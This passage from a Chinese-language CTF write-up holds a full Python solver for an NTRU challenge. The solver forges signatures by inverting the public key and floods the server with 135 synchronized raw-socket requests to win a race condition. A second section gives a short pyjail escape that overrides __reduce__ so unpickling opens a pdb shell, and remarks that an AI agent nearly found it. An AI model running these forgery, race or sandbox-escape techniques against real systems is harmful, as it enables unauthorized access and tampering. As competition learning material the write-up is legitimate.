p = Polynomial(N)
# 模擬 Server 端的 Wrap-around
for j in range(len(m_hex)):
p.coeff[j % N] += ord(m_hex[j])
return p

def invert_poly_mod2(poly_coeffs, N):
modulus = np.zeros(N + 1, dtype=int); modulus[0] = 1; modulus[-1] = 1
target = np.array(poly_coeffs, dtype=int) % 2
def deg(p):
d = len(p) - 1
while d >= 0 and p[d] == 0: d -= 1
return d
def poly_div(num, den):
num = np.trim_zeros(num, 'b'); den = np.trim_zeros(den, 'b')
if len(den) == 0: raise ValueError("Div 0")
quot = np.zeros(max(0, len(num) - len(den) + 1), dtype=int)
rem = np.copy(num)
while deg(rem) >= deg(den):
shift = deg(rem) - deg(den)
quot[shift] = 1
for i in range(len(den)): rem[shift + i] ^= den[i]
return quot, rem
def poly_mul(a, b): return np.convolve(a, b) % 2
def poly_add(a, b): l = max(len(a), len(b)); return (np.pad(a, (0, l-len(a))) + np.pad(b, (0, l-len(b)))) % 2
r0, r1 = modulus, target; t0, t1 = np.array([0]), np.array([1])
while deg(r1) >= 0:
q_poly, r_new = poly_div(r0, r1); t_new = poly_add(t0, poly_mul(q_poly, t1))
r0, r1 = r1, r_new; t0, t1 = t1, t_new
if deg(r0) > 0: return None
inv = np.zeros(N, dtype=int)
for i in range(min(N, len(t0))): inv[i] = t0[i]
return inv

def invert_poly_n(h_poly, N, q):
inv_2 = invert_poly_mod2(h_poly.coeff, N)
if inv_2 is None: return None
c = Polynomial(N); c.coeff = inv_2
cur_p = 2; two = Polynomial(N); two.coeff[0] = 2
while cur_p < q:
hc = h_poly.star_multiply(c).mod(cur_p**2)
term = two - hc
c = c.star_multiply(term).mod(cur_p**2)
cur_p *= 2
c.mod(q)
return c

def NTRUNorm(P):
arr = P.coeff; s1 = np.sum(np.square(arr)); s2 = np.sum(arr); n = len(arr)
val = s1 - (s2**2)/n
return np.sqrt(max(0, val))

def parse_pub_key(pub_key_str):
lines = pub_key_str.split('\n'); coeff_line = ""
for line in lines:
if "|" in line and "==" not in line and "PUBLIC" not in line: coeff_line += line
return [int(x) for x in coeff_line.split('|') if x]

def format_signature(r, s_poly):
sig = "-----BEGIN NTRU SIGNATURE BLOCK-----\n"
for c in s_poly.coeff: sig += str(c) + "|"
sig = sig[:-1] + "\n==" + str(r) + "\n-----END NTRU SIGNATURE BLOCK-----\n"
return sig

def forge_signature(target_count, h_poly, count_needed=1):
print(f"[*] Forging {count_needed} signatures...")
forged = []; r_candidate = 0
h_inv = invert_poly_n(h_poly, N, q)
if h_inv is None: return None
while len(forged) < count_needed:
msg_bytes = long_to_bytes(target_count) + r_candidate.to_bytes(10, 'big')
m_poly = H(msg_bytes, N)
s_cand = m_poly.star_multiply(h_inv).mod(q)
if NTRUNorm(s_cand) < N_BOUND:
forged.append(format_signature(r_candidate, s_cand))
r_candidate += 1
return forged

# --- RAW SOCKET RACE LOGIC (CORRECTED JSON) ---

def build_http_payload(sig):
# 使用 json.dumps 自動處理跳脫字元 (\n)
data = json.dumps({"count": 3, "sig": sig})

payload = (
f"POST {GROW_ENDPOINT} HTTP/1.1\r\n"
f"Host: {HOST_NAME}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Content-Length: {len(data)}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
f"{data}"
)
return payload.encode()

def main():
print("[*] Starting NTRU Attack (Raw Socket + Fixed JSON)...")

# 1. Reset
try:
requests.get(RESET_URL, timeout=60)
time.sleep(1)
except Exception as e:
print(f"[!] Reset failed: {e}")
return

# 2. Get Key & Prep
try:
pk_resp = requests.get(PUBKEY_URL).json()
h_coeffs = parse_pub_key(pk_resp['public-key'])
h_poly = Polynomial(N); h_poly.coeff = np.array(h_coeffs)
print(f"[*] Key loaded.")
except Exception as e:
print(f"[!] Key error: {e}")
return

# 3. Grow to 3
try:
curr_sig = requests.get(ZERO_SIG_URL).json()['signature']
for i in range(3):
resp = requests.post(GROW_URL_FULL, json={"count": i, "sig": curr_sig}).json()
curr_sig = resp["signature"]
print(f" Grow {i} -> {resp['count']}")
except:
print("[!] Growth failed.")
return

# 4. Forge & Connect
NUM_SOCKETS = 135
signatures = forge_signature(3, h_poly, NUM_SOCKETS)
if not signatures: return

print(f"[*] Establishing {NUM_SOCKETS} raw TCP connections...")
sockets = []
payloads = []

for sig in signatures:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST_NAME, PORT))
sockets.append(s)
payloads.append(build_http_payload(sig))
except Exception as e:
print(f"[!] Socket connect error: {e}")
break

if len(sockets) < 20:
print("[!] Too few sockets connected.")
return

print(f"[*] Ready with {len(sockets)} sockets. Syncing...")

barrier = threading.Barrier(len(sockets) + 1)

def worker(sock, payload):
try:
barrier.wait() # 所有人就位
sock.sendall(payload) # 瞬間發送
# 不等待接收,避免阻塞
except:
pass

threads = []
for i in range(len(sockets)):
t = threading.Thread(target=worker, args=(sockets[i], payloads[i]))
t.start()
threads.append(t)

print("[*] Waiting for barrier...")
# 確保所有線程都已經執行到 barrier.wait()
time.sleep(1)

# 釋放所有請求
barrier.wait()
print("[*] GO!!! Payload sent.")

for t in threads: t.join()
for s in sockets: s.close()

# 5. Check Result
time.sleep(2)
try:
final = requests.get(f"{TARGET_URL}/current-count").json()['count']
print(f"[*] Final Count: {final}")

if final >= 14:
print(f"\n>>> FLAG: {requests.post(FLAG_URL).json().get('msg')} <<<\n")
else:
print("[FAIL] Count < 14. Try running again.")
except:
print("[!] Error checking status.")

if __name__ == "__main__":
main()

MISC

literally-1984

Solver: whale120

Pyjail,主要是長度和字元限制,會把東西往 concurrent 丟去跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/local/bin/python3
import os
import concurrent.interpreters

inp = input("1984> ")
if len(inp) >= 67 or not all(0x20 <= ord(c) < 0x7f for c in inp) or any(c in " _.\\\"'{}#=" for c in inp):
print("literally 1984")
exit(1)

interp = concurrent.interpreters.create()
interp.call(exec, """
def f():
import sys, os
sys.stdin.close()
sys.stderr.close()
evts = 0
def g(evt, *args):
nonlocal evts
evts += 1
if evts > 3:
print("literally 1984", flush=True)
os._exit(1)
sys.addaudithook(g)
f()
del f
""")
interp.call(eval, f"print({inp})")

Concurrent 有個 feature 是要把東西交互回來/跨 process 的時候會進行 pickle
https://docs.python.org/3.13/library/concurrent.futures.html

邏輯就蠻清晰了,蓋掉 unpickle 的時候會觸發的 __reduce__ 和想辦法觸發交互

講一下,Agent 跑很久之後幾乎對了(至少 pickle 是 agent 想到的),結果猜猜看發生了什麼

  1. __reduce__ 在找 gadget 的時候 index 數錯
  2. 不知道應該把 __reduce__ 蓋成什麼 XD

最後快沒時間請隊友幫我找 index,然後我把東西蓋成 breakpoint 開 pdb get shell

1
2
# dir(0)[41] 是 __reduce__
setattr(type(exit),dir(id)[21],lambda*s:(breakpoint,())))or(exit

image
爽爽,壓線解掉